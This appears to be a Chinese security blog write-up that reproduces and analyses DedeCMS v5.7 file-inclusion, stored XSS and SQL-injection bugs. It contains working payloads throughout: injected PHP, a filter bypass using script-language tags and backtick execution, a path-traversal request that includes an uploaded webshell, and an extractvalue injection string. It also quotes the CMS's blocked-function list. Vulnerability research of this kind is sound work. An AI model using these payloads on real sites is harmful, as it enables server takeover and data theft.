DedeCMS任意文件包含漏洞
漏洞环境
DedeCMS v5.7 SP2
DedeCMS v5.7 SP2下漏洞复现
首先进入DedeCMS后台
添加一个广告,并保存
1 | <?php system(whoami);?> |
执行
这里编号是3
然后访问
1 | view-source:http://127.0.0.1:803/plus/ad_js.php?aid=3 |
执行成功
漏洞分析
在 ad_js.php下
这里首先会判断 网站根目录下 的 data/cache/myad-xx.htm 是否存在,如果不存在,直接去去数据库中查询,该广告的内容,并写入到该文件中,这里的aid,就是广告的id。如果存在,则直接包含。即便是htm文件,里面存在php代码也会当作php代码执行。
接下来,看看那个地方在表#@__myad中插入字段 normbody,只要这个字段可控,意味着就能写入php代码,然后包含出来执行。
在 ad_add.php 文件中
当我们添加一个广告的时候
抓包
可以控制 normbody[link]
$normbody['size']
等这些参数,所以我们直接写入我们要执行的php代码。然后得到一个广告id。
然后去访问,第一次会先将从数据库中查询出来的数据写入文件,这里面的数据也包含php代码,第二访问,就会去包含这个文件,然后也就执行了php代码。
DedeCMS V5.7.102下漏洞复现
在之前分析那个版本中,我们在dede/ad_add.php
通过控制 insert into
语句在数据库 dede_myad
的normbody
字段中插入了我们的php恶意代码,然后再通过plus/ad_js.php
中的查询语句通过aid
也就是广告的编号,去查询dede_myad
字段normbody
的内容,并写入到DEDEDATA.'/cache/myad-'.$aid.'.htm'
文件中,$aid,也就是广告的编号。如果该文件已经存在,那么就会直接包含这个文件的内容,第二次访问也就会执行到php代码。
但是如果我们在v5.7.102这个版本再次通过这种方式去进行利用会发生什么?
直接将我们的恶意代码拦截中断脚本运行了,我们看一看他的过滤规则。
1 | global $cfg_disable_funs; |
这里的第一个正则,过滤了很多危险函数,但是还远远不够。比如过滤了include
,却没过滤require
,过滤了需要执行命令的函数,却没过滤`命令` 的方式来执行命令。
第二个正则则是匹配php常用的php代码开头标签,常用的有
1 | <?php |
上面的正则 只过滤了两种,开启段标签需要特定条件,重新找到一种新的方式来绕过正则执行php代码。
1 | <script language="php"> |
这里我们组合成一个真正可用的payload
1 | <script language='php'>`calc.exe`</script> |
可以看到 一下子弹出来三个计算器。因为在多个字段中插入了我们的恶意代码,有三个字段写入到DEDEDATA.'/cache/myad-15.htm'
文件中,执行了三次,所以也就弹出来三个。
DedeCMS任意文件包含漏洞2
漏洞环境
DedeCMS v5.7 SP2 (DedeCMS V5.7.102也有)
DedeCMS v5.7 SP2下漏洞复现
首先 准备一个文本
1.txt
1 | <?php eval(phpinfo());?> |
然后再后台上传这个文本文件
接下来,添加一个自定义表单
确定
然后抓包
1 | diyid=2&name=%E8%87%AA%E5%AE%9A%E4%B9%89%E8%A1%A8%E5%8D%9512&table=dede_co_onepage&listtemplate=list_diyform1.htm&viewtemplate=../1.txt&posttemplate=post_diyform1.htm&public=2&button=%E7%A1%AE%E5%AE%9A |
然后访问
1 | http://127.0.0.1:803/plus/diy.php?action=view&diyid=2&id=5 |
成功执行了,刚刚写入文本里面的php代码。
DedeCMS V5.7.102下漏洞复现
如果按照上一个版本的方式进行复现,会怎么样?
准备一个webshell
1 | <?php phpinfo();?> |
上传
这里直接拦截了,而我们的目的也很简单,只需要将我们的webshell代码嵌入到任意文件中,通过文件包含就能执行。
那么在那里能嵌入这个webshell呢?试了几个地方的上传,都会对php危险函数进行过滤。
1 | $cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace'; |
感觉什么都过滤完了,(
、[
都过滤了,感觉绕过有点困难。
换了一条路,在模板管理这个地方。
嵌入我们执行的php代码,这个文件的路径在templets/default/advancedsearch.htm
下,而包含的路径是在templets/plus
下,所以只需要../default/advancedsearch.htm
回退一个就能包含到这个模板文件。
接下来 构造请求
1 | POST /dede/diy_add.php?action=add HTTP/1.1 |
然后回到自定义表单
漏洞分析
两个版本的触发原理都是一致,只是包含的文件不一样。
触发文件包含的点在在 plus/diy.php
164行
这里文件包含的文件路径中拼接了一个变量,$div->viewTemplate
为div对象中的一个属性。
在 25行
跟进diyform
类,看看是怎么为$div->viewTemplate
赋值的。
在构造函数中
1 | function __construct($diyid){ |
从上面的代码中,可以知道,通过$diyid
在 #@__diyforms
表中查的数据赋值给了$this->listTemplate
、$this->viewTemplate
、$this->postTemplate
等变量。
假设,我们能控制#@__diyforms
表中的viewtemplate
字段,那么不就可以通过目录穿越的方式去包含任意文件了。
接下来,看看有没有那个文件中给#@__diyforms
的viewtemplate
插入值。
全局搜索表名#@_diyforms
,在 div_add.php
中
65行
1 | $query = "INSERT INTO #@__diyforms (`diyid`, `name`, `table`, `info`, `listtemplate`, `viewtemplate`, `posttemplate`, `public` ) VALUES ('$diyid', '$name', '$table', '', '$listtemplate', '$viewtemplate', '$posttemplate', '$public')"; |
通过这里的sql,我们就能给表 #@__diyforms
中的 viewtemplate
插入我们想传入的数据。
diy_add.php
1 | require_once(dirname(__FILE__)."/config.php"); |
因为是使用全局变量注册的方式,$viewtemplate
可以直接从GET/POST中接收到,但是执行到插入表 #@__diyforms
的sql,还需要满足几个条件,第一个传入的diyid
不能重复,第二个是 指定的table
数据表名,不能跟之前插入的重复,也就是这个指定table的值要唯一。
满足如上两个条件,就能可以控制 插入的$viewtemplate
变量,通过之前的分析,这个变量控制了 include
包含的文件名。
那是不是我们此时,将php代码嵌入到图片或者文本中,找一个可以上传文本或者图片的地方,上传然后目录穿越包含到这个文件,就可以getshell了呢。
答案是,还不行。
在 diy.php 文件中
1 | if(empty($diyid)) |
这里也有一个条件需要满足 if(!is_array($row))
,判断$row是否为数组,如果要让 $row为数组,那么$query
的sql语句就需要查出来值,这里的表名是需要指定的, 并且还要求这个表里存在id
和ifcheck=1
这个字段。所以得到一个结论,表名可以控制,并且这个表中存在id
和ifcheck
两个字段,或者$diy->public==2
,$diy->table
表里存在id字段,并且有值。
找了半天也没发现那张表存在 ifcheck
这个字段,那就只有让$diy->public==2
,$diy->table
存在id字段。
在dede_co_onepage
表中
在 diy_add.php 中
1 | $query = "INSERT INTO #@__diyforms (`diyid`, `name`, `table`, `info`, `listtemplate`, `viewtemplate`, `posttemplate`, `public` ) VALUES ('$diyid', '$name', '$table', '', '$listtemplate', '$viewtemplate', '$posttemplate', '$public')"; |
这两个变量都是可控的,所以我们只需要让$table
指定为 dede_co_onepage
,$public
为 2, $viewtemplate
为带有webshell的文本或者图片的相对路径,就能getshell了。
最后给出payload
1 | diyid=2&name=%E8%87%AA%E5%AE%9A%E4%B9%89%E8%A1%A8%E5%8D%9512&table=dede_co_onepage&listtemplate=list_diyform1.htm&viewtemplate=../1.txt&posttemplate=post_diyform1.htm&public=2&button=%E7%A1%AE%E5%AE%9A |
不管在哪儿上传都可以,但是构造相对路径的时候要改变。 这里是上传在网站根目录templets下,默认包含的路径是在templets/plus
下,所以只需要 ../
回退一个目录就可以包含到了。
DedeCMS任意包含漏洞3
1 | 这个漏洞利用流程跟上一个漏洞相似,只是文件包含触发的点不同。 |
漏洞环境
DedeCMS V5.7.102
漏洞复现
保存,然后点进自定义表单管理
然后抓包,修改参数并提交,这里利用的是posttemplate
这个参数
1 | POST /dede/diy_add.php?action=add HTTP/1.1 |
然后访问
漏洞分析
这个文件包含的点没有那么多限制,只需要控制路由action==post
和 $diy->postTempate
即可,至于怎么控制$diy->postTempate
,跟DedeCMS任意文件包含漏洞2
漏洞分析中一致。
DedeCMS 存储型xss漏洞
漏洞环境
DedeCMS V5.7.102
漏洞复现
</div><script>alert(document.cookit);</script> |
漏洞分析
漏洞点存在 dede/article_add.php
DedeCMS Sql报错注入漏洞
漏洞环境
DedeCMS V5.7.102
漏洞复现
提交,然后抓包
在addtable
参数替换掉
1 | a` (`b` varchar(200) as (extractvalue(1,concat(0x7e,(database())))),# |
漏洞分析
漏洞点在dede/mychannel_add.php
这里的$trueTable2
是在38行被赋值,也就是表名是可以被外部控制,并且用的`反引号闭合,所以直接传入一个反引号就可以闭合,利用的方式也很关键。
1 | a` (`b` varchar(200) as (extractvalue(1,concat(0x7e,(database())))),# |
拼接进去最终执行的是
1 | CREATE TABLE `a` (`b` varchar(200) as (extractvalue(1,concat(0x7e,(database())))),#`( |
而$addtable可以被外部控制。最后在102行被执行